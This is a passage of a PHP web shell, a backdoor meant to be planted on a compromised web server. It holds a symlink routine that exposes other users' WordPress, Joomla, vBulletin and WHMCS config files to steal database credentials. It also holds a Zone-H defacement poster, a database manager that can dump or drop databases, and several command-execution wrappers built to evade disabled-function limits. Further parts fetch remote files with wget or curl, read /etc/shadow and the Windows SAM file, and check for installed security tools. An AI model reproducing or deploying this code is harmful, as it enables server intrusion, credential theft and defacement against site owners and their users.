  447.         symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  448.         symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  449.         symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  450.         symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  451.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  452.         symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  453.         symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  454.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  455.         symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  456.         symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  457.         symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  458.         symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  459.         symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  460.         symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  461.         symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  462.         symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  463.         symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  464.         symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  465.         symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  466.         symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  467.         symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  468.         symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  469.         symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  470.         symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  471.         symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  472.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  473.         symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  474.         symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  475.         symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  476.         symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  477.         symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  478.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  479.         symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  480.         symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  481.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  482.         symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  483.         symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  484.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  485.         symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  486.         symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  487.         symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  488.         symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  489.         symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  490.         symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  491.         symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  492.         symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  493.         symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  494.         symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  495.         symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  496.         symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  497.         symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  498.         symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  499.         symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  500.         symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  501.         symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  502.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  503.         symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  504.         symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  505.         symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  506.         symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  507.         symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  508.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  509.     }
  510.     // Zone-h Poster
  511.     function ZoneH($url, $hacker, $hackmode,$reson, $site )
  512.     {
  513.         $k = curl_init();
  514.         curl_setopt($k, CURLOPT_URL, $url);
  515.         curl_setopt($k,CURLOPT_POST,true);
  516.         curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
  517.         curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
  518.         curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
  519.         $kubra = curl_exec($k);
  520.         curl_close($k);
  521.         return $kubra;
  522.     }
  523.     // Database functions
  524.     function listdatabase()
  525.     {  
  526.         $self=$_SERVER["PHP_SELF"];
  527.         ?>
  528.         <br>
  529.         <form>
  530.         <input type="hidden" name="action" value="createDB">
  531.             <table>
  532.             <tr>
  533.                 <td><input type="text" class="box" name="dbname"></td><td><input type="submit" value="  Create Database  " name="createmydb" class="but"></td>
  534.             </tr>
  535.             </table>
  536.         </form>
  537.             <br>
  538.         <?php
  539.         $mysqlHandle = mysql_connect ($_COOKIE['dbserver'], $_COOKIE['dbuser'], $_COOKIE['dbpass']);
  540.         $result = mysql_query("SHOW DATABASE");
  541.         echo "<table cellspacing=1 cellpadding=5 border=1 class=tbl style=width:60%;>\n";
  542.         $pDB = mysql_list_dbs( $mysqlHandle );
  543.         $num = mysql_num_rows( $pDB );
  544.         for( $i = 0; $i < $num; $i++ )
  545.         {
  546.             $dbname = mysql_dbname( $pDB, $i );
  547.             mysql_select_db($dbname,$mysqlHandle);
  548.             $result = mysql_query("SHOW TABLES");
  549.             $num_of_tables = mysql_num_rows($result);
  550.             echo "<tr>\n";
  551.             echo "<td><a href='$self?action=listTables&dbname=$dbname'><font size=3>$dbname</font></a> ($num_of_tables)</td>\n";
  552.             echo "<td><a href='$self?action=listTables&dbname=$dbname'>Tables</a></td>\n";
  553.             echo "<td><a href='$self?action=dropDB&dbname=$dbname&executequery' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
  554.             echo "<td><a href='$self?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
  555.             echo "</tr>\n";
  556.         }
  557.         echo "</table>\n";
  558.         mysql_close($mysqlHandle);
  559.     }
  560.     function listtable()
  561.     {
  562.         $self=$_SERVER["PHP_SELF"];
  563.         $dbserver = $_COOKIE["dbserver"];
  564.         $dbuser = $_COOKIE["dbuser"];
  565.         $dbpass = $_COOKIE["dbpass"];
  566.         $dbname = $_GET['dbname'];
  567.         echo "<div><font size=3>[ $dbname ]</font> - <font size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <fontclass=txt size=3>[ Log Out ]</font> </a></div>";
  568.          ?>
  569.         <br><br>
  570.         <form>
  571.         <input type="hidden" name="action" value="createtable">
  572.         <input type="hidden" name="dbname" value="<?php echo $_GET['dbname'];?>">
  573.             <table>
  574.             <tr>
  575.                 <td><input type="text" class="box" name="tablename"></td><td><input type="submit" value="  Create Table  " name="createmydb" class="but"></td>
  576.             </tr>
  577.             </table>
  578.             <br>
  579.             <form>
  580.             <input type="hidden" value="<?php echo $_GET['dbname']; ?>" name="dbname">
  581.             <input type="hidden" value="<?php echo $_GET['tablename']; ?>" name="tablename">
  582.             <input type="hidden" value="executequery" name="action">
  583.             <table>
  584.                 <tr>
  585.                     <td><textarea cols="60" rows="7" name="executemyquery" class="box">Execute Query..</textarea></td>
  586.                 </tr>
  587.                 <tr>
  588.                     <td><input type="submit" value="Execute" class="but"></td>
  589.                 </tr>
  590.             </table>
  591.             </form>
  592.         <?php
  593.         $mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
  594.         mysql_select_db($dbname);
  595.         $pTable = mysql_list_tables( $dbname );
  596.         if( $pTable == 0 ) {
  597.             $msg  = mysql_error();
  598.             echo "<h3>Error : $msg</h3><p>\n";
  599.             return;
  600.         }
  601.         $num = mysql_num_rows( $pTable );
  602.         echo "<table cellspacing=1 cellpadding=5 class=tbl border=1 style=width:60%;>\n";
  603.         for( $i = 0; $i < $num; $i++ )
  604.         {
  605.             $tablename = mysql_tablename( $pTable, $i );
  606.             $result = mysql_query("select * from $tablename");
  607.             $num_rows = mysql_num_rows($result);
  608.             echo "<tr>\n";
  609.             echo "<td>\n";
  610.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'><font size=3>$tablename</font></a> ($num_rows)\n";
  611.             echo "</td>\n";
  612.             echo "<td>\n";
  613.             echo "<a href='$self?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
  614.             echo "</td>\n";
  615.             echo "<td>\n";
  616.             echo "<a href='$self?action=viewdata&dbname=$dbname&tablename=$tablename'>Data</a>\n";
  617.             echo "</td>\n";
  618.             echo "<td>\n";
  619.             echo "<a href='$self?action=empty&dbname=$dbname&tablename=$tablename'>Empty</a>\n";
  620.             echo "</td>\n";
  621.             echo "<td>\n";
  622.             echo "<a href='$self?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
  623.             echo "</td>\n";
  624.             echo "</tr>\n";
  625.         }
  626.         echo "</table></form>";
  627.         mysql_close($mysqlHandle);
  628.         echo "<div><font color=white size=3>[ $dbname ]</font> - <font color=white size=3>&gt;</font> <a href=$self?viewdb&dbname=$dbname> <font size=3>Database List</font> </a> &nbsp; <a href=$self?logoutdb> <font size=3>[ Log Out ]</font> </a></div>";
  629.     }
  630.     function paramexe($n, $v)
  631.     {
  632.         $v = trim($v);
  633.         if($v)
  634.         {
  635.             echo '<span><font size=3>' . $n . ': </font></span>';
  636.             if(strpos($v, "\n") === false)
  637.                 echo '<font class=txt size=2>' . $v . '</font><br>';
  638.             else
  639.                 echo '<pre class=ml1><font class=txt size=3>' . $v . '</font></pre>';
  640.         }
  641.     }
  642.     $dir = getcwd();
  643.     if(isset($_GET['dir']))
  644.     {
  645.         $dir = $_GET['dir'];
  646.     }
  647.     function dis()
  648.     {
  649.         if(!ini_get('disable_functions'))
  650.         {
  651.             echo "None";
  652.         }
  653.         else
  654.         {
  655.             echo @ini_get('disable_functions');
  656.         }
  657.     }
  658.     function mycmdexec($cmd)
  659.     {
  660.          global $disablefunc;
  661.          $result = "";
  662.          if (!empty($cmd))
  663.          {
  664.               if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  665.               elseif (($result = "$cmd") !== FALSE) {}
  666.               elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  667.               elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  668.               elseif (is_resource($fp = popen($cmd,"r")))
  669.               {
  670.                $result = "";
  671.                while(!feof($fp)) {$result .= fread($fp,1024);}
  672.                pclose($fp);
  673.               }
  674.          }
  675.          return $result;
  676.     }
  677.     function rrmdir($dir)
  678.     {
  679.         if (is_dir($dir)) // ensures that we actually have a directory
  680.         {
  681.             $objects = scandir($dir); // gets all files and folders inside
  682.             foreach ($objects as $object)
  683.             {
  684.                 if ($object != '.' && $object != '..')
  685.                 {
  686.                     if (is_dir($dir . '/' . $object))
  687.                     {
  688.                         // if we find a directory, do a recursive call
  689.                         rrmdir($dir . '/' . $object);
  690.                     }
  691.                     else
  692.                     {
  693.                         // if we find a file, simply delete it
  694.                         unlink($dir . '/' . $object);
  695.                     }
  696.                 }
  697.             }
  698.             // the original directory is now empty, so delete it
  699.             rmdir($dir);
  700.         }
  701.     }
  702.     function godir($dir)
  703.     {
  704.         //echo $dir;
  705.         $zip = new ZipArchive();
  706.         $filename= basename($dir) . '.zip';
  707.         // open archive
  708.         if ($zip->open($filename, ZIPARCHIVE::CREATE) !== TRUE)
  709.         {
  710.             die ("Could not open archive");
  711.         }
  712.         else
  713.             echo "fdg";
  714.         if (is_dir($dir)) // ensures that we actually have a directory
  715.         {
  716.             $objects = scandir($dir); // gets all files and folders inside
  717.             foreach ($objects as $object)
  718.             {
  719.                 if ($object != '.' && $object != '..')
  720.                 {
  721.                     if (is_dir($dir . '\\' . $object))
  722.                     {//echo $dir . '/' . $object;
  723.                         // if we find a directory, do a recursive call
  724.                         godir($dir . '\\' . $object);
  725.                     }
  726.                     else
  727.                     {
  728.                         // if we find a file, simply add it
  729.                         $zip->addFile($dir . '\\' . $object) or die ("ERROR: Could not add file: $key");
  730.                     }
  731.                 }
  732.             }
  733.             // the original directory is now empty, so delete it
  734.             $zip->addFile($dir) or die ("ERROR: Could not add file: $key");
  735.         }      
  736.     }
  737.     function which($pr)
  738.     {
  739.         $path = execmd("which $pr");
  740.         if(!empty($path))
  741.             return trim($path);
  742.         else
  743.             return trim($pr);
  744.     }
  745.     function cf($f,$t)
  746.     {
  747.         $w=@fopen($f,"w") or @function_exists('file_put_contents');
  748.         if($w)
  749.         {
  750.              @fwrite($w,gzinflate(base64_decode($t))) or @fputs($w,gzinflate(base64_decode($t))) or @file_put_contents($f,gzinflate(base64_decode($t)));
  751.              @fclose($w);
  752.         }
  753.     }  
  754.     function remotedownload($cmd,$url)
  755.     {
  756.         $namafile = basename($url);
  757.         switch($cmd)
  758.         {
  759.             case 'wwget':
  760.                 execmd(which('wget')." ".$url." -O ".$namafile);
  761.                 break;
  762.             case 'wlynx':
  763.                 execmd(which('lynx')." -source ".$url." > ".$namafile);
  764.                 break;
  765.             case 'wfread' :
  766.                 execmd($wurl,$namafile);
  767.                 break;
  768.             case 'wfetch' :
  769.                 execmd(which('fetch')." -o ".$namafile." -p ".$url);
  770.                 break;
  771.             case 'wlinks' :
  772.                 execmd(which('links')." -source ".$url." > ".$namafile);
  773.                 break;
  774.             case 'wget' :
  775.                 execmd(which('GET')." ".$url." > ".$namafile);
  776.                 break;
  777.             case 'wcurl' :
  778.                 execmd(which('curl')." ".$url." -o ".$namafile);
  779.                 break;
  780.             default:
  781.             break;
  782.         }
  783.         return $namafile;
  784.     }
  785.     function magicboom($text)
  786.     {
  787.         if (!get_magic_quotes_gpc())
  788.             return $text;
  789.         return stripslashes($text);
  790.     }
  791. ##################################
  792. function execmd($cmd,$d_functions="None")
  793. {
  794.     if($d_functions=="None")
  795.     {
  796.         $ret=passthru($cmd);
  797.         return $ret;
  798.     }
  799.     $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
  800.     $d_functions=str_replace(" ","",$d_functions);
  801.     $dis_funcs=explode(",",$d_functions);
  802.     foreach($funcs as $safe)
  803.     {
  804.         if(!in_array($safe,$dis_funcs))
  805.         {
  806.             if($safe=="exec")
  807.             {
  808.                 $ret=@exec($cmd);
  809.                 $ret=join("\n",$ret);
  810.                 return $ret;
  811.             }
  812.             elseif($safe=="system")
  813.             {
  814.                 $ret=@system($cmd);
  815.                 return $ret;
  816.             }
  817.             elseif($safe=="passthru")
  818.             {
  819.                 $ret=@passthru($cmd);
  820.                 return $ret;
  821.             }
  822.             elseif($safe=="shell_exec")
  823.             {
  824.                 $ret=@shell_exec($cmd);
  825.                 return $ret;
  826.             }
  827.             elseif($safe=="popen")
  828.             {
  829.                 $ret=@popen("$cmd",'r');
  830.                 if(is_resource($ret))
  831.                 {
  832.                     while(@!feof($ret))
  833.                     $read.=@fgets($ret);
  834.                     @pclose($ret);
  835.                     return $read;
  836.                 }
  837.                 return -1;
  838.             }
  839.             elseif($safe="proc_open")
  840.             {
  841.                 $cmdpipe=array(
  842.                 0=>array('pipe','r'),
  843.                 1=>array('pipe','w')
  844.                 );
  845.                 $resource=@proc_open($cmd,$cmdpipe,$pipes);
  846.                 if(@is_resource($resource))
  847.                 {
  848.                     while(@!feof($pipes[1]))
  849.                     $ret.=@fgets($pipes[1]);
  850.                     @fclose($pipes[1]);
  851.                     @proc_close($resource);
  852.                     return $ret;
  853.                 }
  854.                 return -1;
  855.             }
  856.         }
  857.     }
  858.     return -1;
  859. }
  860.     function getDisabledFunctions()
  861.     {
  862.         if(!ini_get('disable_functions'))
  863.         {
  864.             return "None";
  865.         }
  866.         else
  867.         {
  868.                 return @ini_get('disable_functions');
  869.         }
  870.     }
  871.     function getFilePermissions($file)
  872. {
  873. $perms = fileperms($file);
  874. if (($perms & 0xC000) == 0xC000) {
  875.     // Socket
  876.     $info = 's';
  877. } elseif (($perms & 0xA000) == 0xA000) {
  878.     // Symbolic Link
  879.     $info = 'l';
  880. } elseif (($perms & 0x8000) == 0x8000) {
  881.     // Regular
  882.     $info = '-';
  883. } elseif (($perms & 0x6000) == 0x6000) {
  884.     // Block special
  885.     $info = 'b';
  886. } elseif (($perms & 0x4000) == 0x4000) {
  887.     // Directory
  888.     $info = 'd';
  889. } elseif (($perms & 0x2000) == 0x2000) {
  890.     // Character special
  891.     $info = 'c';
  892. } elseif (($perms & 0x1000) == 0x1000) {
  893.     // FIFO pipe
  894.     $info = 'p';
  895. } else {
  896.     // Unknown
  897.     $info = 'u';
  898. }
  899. // Owner
  900. $info .= (($perms & 0x0100) ? 'r' : '-');
  901. $info .= (($perms & 0x0080) ? 'w' : '-');
  902. $info .= (($perms & 0x0040) ?
  903.             (($perms & 0x0800) ? 's' : 'x' ) :
  904.             (($perms & 0x0800) ? 'S' : '-'));
  905. // Group
  906. $info .= (($perms & 0x0020) ? 'r' : '-');
  907. $info .= (($perms & 0x0010) ? 'w' : '-');
  908. $info .= (($perms & 0x0008) ?
  909.             (($perms & 0x0400) ? 's' : 'x' ) :
  910.             (($perms & 0x0400) ? 'S' : '-'));
  911. // World
  912. $info .= (($perms & 0x0004) ? 'r' : '-');
  913. $info .= (($perms & 0x0002) ? 'w' : '-');
  914. $info .= (($perms & 0x0001) ?
  915.             (($perms & 0x0200) ? 't' : 'x' ) :
  916.             (($perms & 0x0200) ? 'T' : '-'));
  917. return $info;
  918. }
  919.     function yourip()
  920.     {
  921.         echo $_SERVER["REMOTE_ADDR"];
  922.     }
  923.     function phpver()
  924.     {
  925.         $pv=@phpversion();
  926.         echo $pv;
  927.     }
  928.     function serverip()
  929.     {
  930.         echo getenv('SERVER_ADDR');
  931.     }
  932.     function serverport()
  933.     {
  934.         echo $_SERVER['SERVER_PORT'];
  935.     }
  936.     function  safe()
  937.     {
  938.         global $sm;
  939.         return $sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF";
  940.     }
  941.     function serveradmin()
  942.     {
  943.         echo $_SERVER['SERVER_ADMIN'];
  944.     }
  945.     function systeminfo()
  946.     {
  947.         echo php_uname();
  948.     }
  949.     function curlinfo()
  950.     {
  951.         echo function_exists('curl_version')?("<font class=txt>Enabled</font>"):("Disabled");
  952.     }
  953.     function oracleinfo()
  954.     {
  955.         echo function_exists('ocilogon')?("<font class=txt>Enabled</font>"):("Disabled");
  956.     }
  957.     function mysqlinfo()
  958.     {
  959.         echo function_exists('mysql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  960.     }
  961.     function mssqlinfo()
  962.     {
  963.         echo function_exists('mssql_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  964.     }
  965.     function postgresqlinfo()
  966.     {
  967.         echo function_exists('pg_connect')?("<font class=txt>Enabled</font>"):("Disabled");
  968.     }
  969.     function softwareinfo()
  970.     {
  971.         echo getenv("SERVER_SOFTWARE");
  972.     }
  973.     function download()
  974.     {
  975.         $frd=$_GET['download'];
  976.         $prd=explode("/",$frd);
  977.         for($i=0;$i<sizeof($prd);$i++)
  978.         {
  979.             $nfd=$prd[$i];
  980.         }
  981.         @ob_clean();
  982.        header("Content-type: application/octet-stream");
  983.        header("Content-length: ".filesize($nfd));
  984.        header("Content-disposition: attachment; filename=\"".$nfd."\";");
  985.        readfile($nfd);
  986.        exit;
  987.     }
  988.     function HumanReadableFilesize($size)
  989.     {
  990.         $mod = 1024;
  991.         $units = explode(' ','B KB MB GB TB PB');
  992.         for ($i = 0; $size > $mod; $i++)
  993.         {
  994.             $size /= $mod;
  995.         }
  996.         return round($size, 2) . ' ' . $units[$i];
  997.     }
  998.     function showDrives()
  999.     {
  1000.         global $self;
  1001.         foreach(range('A','Z') as $drive)
  1002.         {
  1003.             if(is_dir($drive.':\\'))
  1004.             {
  1005.                 ?>
  1006.                 <a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
  1007.                     <font class="txt"><?php echo $drive.":\\" ?></font>
  1008.                 </a>
  1009.                 <?php
  1010.             }
  1011.         }
  1012.     }
  1013.     function diskSpace()
  1014.     {
  1015.         echo HumanReadableFilesize(disk_total_space("/"));
  1016.     }  
  1017.     function freeSpace()
  1018.     {
  1019.        echo HumanReadableFilesize(disk_free_space("/"));
  1020.     }
  1021.     function thiscmd($p)
  1022.     {
  1023.         $path = myexe('which ' . $p);
  1024.         if(!empty($path))
  1025.             return $path;
  1026.         return false;
  1027.     }
  1028.     function split_dir()
  1029.     {
  1030.         $de=explode("/",getcwd());
  1031.         $del=$de[0];
  1032.         for($count=0;$count<sizeof($de);$count++)
  1033.         {
  1034.         $imp=$imp.$de[$count].'/';
  1035.         echo "<a href=".$self."?open=".$imp.">".$de[$count]."</a> / ";
  1036.         }
  1037.     }
  1038.     function mysecinfo()
  1039.     {
  1040.         function myparam($n, $v)
  1041.         {
  1042.             $v = trim($v);
  1043.             if($v)
  1044.             {
  1045.                 echo '<span>' . $n . ': </span>';
  1046.                 if(strpos($v, "\n") === false)
  1047.                     echo '<font class=txt>' . $v . '</font><br>';
  1048.                 else
  1049.                     echo '<pre class=ml1><font class=txt>' . $v . '</font></pre>';
  1050.             }
  1051.         }
  1052.         myparam('Server software', @getenv('SERVER_SOFTWARE'));
  1053.         if(function_exists('apache_get_modules'))
  1054.             myparam('Loaded Apache modules', implode(', ', apache_get_modules()));
  1055.         myparam('Open base dir', @ini_get('open_basedir'));
  1056.         myparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  1057.         myparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  1058.         $temp=array();
  1059.         if(function_exists('mysql_get_client_info'))
  1060.             $temp[] = "MySql (".mysql_get_client_info().")";
  1061.         if(function_exists('mssql_connect'))
  1062.             $temp[] = "MSSQL";
  1063.         if(function_exists('pg_connect'))
  1064.             $temp[] = "PostgreSQL";
  1065.         if(function_exists('oci_connect'))
  1066.             $temp[] = "Oracle";
  1067.         myparam('Supported databases', implode(', ', $temp));
  1068.         echo '<br>';
  1069.         if($GLOBALS['os'] == 'Linux') {
  1070.                 myparam('Distro : ', myexe("cat /etc/*-release"));
  1071.                 myparam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='$self?passwd'>[view]</a>":'no');
  1072.                 myparam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  1073.                 myparam('OS version', @file_get_contents('/proc/version'));
  1074.                 myparam('Distr name', @file_get_contents('/etc/issue.net'));
  1075.                 myparam('Where is Perl?', myexe('whereis perl'));
  1076.                 myparam('Where is Python?', myexe('whereis python'));
  1077.                 myparam('Where is gcc?', myexe('whereis gcc'));
  1078.                 myparam('Where is apache?', myexe('whereis apache'));
  1079.                 myparam('CPU?', myexe('cat /proc/cpuinfo'));
  1080.                 myparam('RAM', myexe('free -m'));
  1081.                 myparam('Mount options', myexe('cat /etc/fstab'));
  1082.                 myparam('User Limits', myexe('ulimit -a'));
  1083.                 if(!$GLOBALS['safe_mode']) {
  1084.                     $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  1085.                     $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  1086.                     $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1087.                     echo '<br>';
  1088.                     $temp=array();
  1089.                     foreach ($userful as $item)
  1090.                         if(thiscmd($item))
  1091.                             $temp[] = $item;
  1092.                     myparam('Userful', implode(', ',$temp));
  1093.                     $temp=array();
  1094.                     foreach ($danger as $item)
  1095.                         if(thiscmd($item))
  1096.                             $temp[] = $item;
  1097.                     myparam('Danger', implode(', ',$temp));
  1098.                     $temp=array();
  1099.                     foreach ($downloaders as $item)
  1100.                         if(thiscmd($item))
  1101.                             $temp[] = $item;
  1102.                     myparam('Downloaders', implode(', ',$temp));
  1103.                     echo '<br/>';
  1104.                     myparam('HDD space', myexe('df -h'));
  1105.                     myparam('Hosts', @file_get_contents('/etc/hosts'));
  1106.                 }
  1107.         } else {
  1108.             echo "Password File : <a href=".$_SERVER['PHP_SELF']."?download=" . $_SERVER["WINDIR"]."\\repair\sam><b><font class=txt>Download password file</font></b></a><br>";
  1109.             echo "Config Files :  <a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\hosts><b><font class=txt>[ Hosts ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\\networks><b><font class=txt>[ Local Network Map ]</font></b></a> &nbsp;<a href=".$_SERVER['PHP_SELF']."?open=" . $_SERVER["WINDIR"]."\\system32\drivers\etc\lmhosts.sam><b><font class=txt>[ lmhosts ]</font></b></a><br>";
  1110.             $base = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
  1111.             echo "Open Base Dir : <font class=txt>" . $base . "</font><br>";
  1112.             myparam('OS Version',myexe('ver'));
  1113.             myparam('Account Settings',myexe('net accounts'));
  1114.             myparam('User Accounts',myexe('net user'));
  1115.         }
  1116.         echo '</div>';
  1117.     }
  1118.     function myexe($in) {
  1119.     $out = '';
  1120.     if (function_exists('exec')) {
  1121.         @exec($in,$out);
  1122.         $out = @join("\n",$out);
  1123.     } elseif (function_exists('passthru')) {
  1124.         ob_start();
  1125.         @passthru($in);
  1126.         $out = ob_get_clean();
  1127.     } elseif (function_exists('system')) {
  1128.         ob_start();
  1129.         @system($in);
  1130.         $out = ob_get_clean();
  1131.     } elseif (function_exists('shell_exec')) {
  1132.         $out = shell_exec($in);
  1133.     } elseif (is_resource($f = @popen($in,"r"))) {
  1134.         $out = "";
  1135.         while(!@feof($f))
  1136.             $out .= fread($f,1024);
  1137.         pclose($f);
  1138.     }
  1139.     return $out;
  1140. }
  1141.     function exec_all($command)
  1142. {
  1143.     $output = '';
  1144.     if(function_exists('exec'))
  1145.     {  
  1146.         exec($command,$output);
  1147.         $output = join("\n",$output);
  1148.     }
  1149.     else if(function_exists('shell_exec'))
  1150.     {
  1151.         $output = shell_exec($command);
  1152.     }
  1153.     else if(function_exists('popen'))
  1154.     {
  1155.         $handle = popen($command , "r"); // Open the command pipe for reading
  1156.         if(is_resource($handle))
  1157.         {
  1158.             if(function_exists('fread') && function_exists('feof'))
  1159.             {
  1160.                 while(!feof($handle))
  1161.                 {
  1162.                     $output .= fread($handle, 512);
  1163.                 }
  1164.             }
  1165.             else if(function_exists('fgets') && function_exists('feof'))
  1166.             {
  1167.                 while(!feof($handle))
  1168.                 {
  1169.                     $output .= fgets($handle,512);
  1170.                 }
  1171.             }
  1172.         }
  1173.         pclose($handle);
  1174.     }
  1175.     else if(function_exists('system'))
